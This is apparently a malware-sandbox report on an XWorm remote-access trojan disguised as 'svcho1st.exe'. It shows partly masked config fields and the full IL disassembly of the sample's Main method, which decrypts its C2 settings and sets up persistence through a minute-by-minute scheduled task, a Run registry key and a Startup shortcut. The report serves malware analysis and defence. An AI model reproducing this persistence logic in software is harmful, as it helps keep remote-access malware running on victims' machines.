Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
Symbol obfuscation
Low
1 malicious · 13 files
EXEee4f8e3f39bc33a72746be653a200fbaXWorm
Structure
Config. Field Value
Mutex %Usehuhuhuhuhuhuhu
KEY 2hdykRhuhuhuhuhuhuhu
USBNM K7piQ7huhuhuhuhuhuhu
LoggerPath %Usehuhuhuhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
svcho1st.exe
Full Name
svcho1st.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
svcho1st.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
svcho1st
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
161
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
331
Main IL
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Host
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Host
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00A6: ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileName(System.String)
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00D7: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_4
ldloc.s V_4
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0102: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_5
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0102: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_0168: ldloc.s V_7
ldloc.s V_7
ldc.i4.5 <null>
newarr System.String
stloc.s V_18
ldloc.s V_18
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_18
ldc.i4.1 <null>
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_18
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_18
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_18
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_18
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_01AC: ldloc.s V_7
ldloc.s V_7
ldc.i4.5 <null>
newarr System.String
stloc.s V_18
ldloc.s V_18
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_18
ldc.i4.1 <null>
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_18
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_18
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_18
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_18
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_7
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_01CD: ldsfld System.String Settings::InstallDir
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_01CD: ldsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileName(System.String)
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.s V_9
call My.MyComputer My.MyProject::get_Computer()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.s V_9
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
ldloc.s V_9
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_022C: ldc.i4 1000
ldloc.s V_9
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_10
ldloc.s V_10
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_9
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0258: leave.s IL_0269
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0258: leave.s IL_0269
leave.s IL_0269: ldsfld System.String Settings::InstallDir
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_12
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0269: ldsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileName(System.String)
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.s V_13
ldloc.s V_13
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_029D: ldc.i4 1000
ldloc.s V_13
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_15
ldloc.s V_15
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_13
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_02C9: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_16
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02C9: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_14
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.s V_14
stelem.ref <null>
ldloc.s V_19
stloc.s V_20
ldloc.s V_20
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_21
ldloc.s V_21
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_21
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_21
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_034E: stloc.s V_22
ldloc.s V_20
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_14
stloc.s V_22
ldloc.s V_22
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_23
ldloc.s V_23
ldc.i4.0 <null>
ldloc.s V_13
stelem.ref <null>
ldloc.s V_23
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_22
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_23
ldloc.s V_23
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_23
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_22
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_22
ldloc.s V_14
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.Helper::fileStream
leave.s IL_03CE: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_17
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_03CE: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Mutex MUTEXmalicious
%Usehuhuhuhuhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙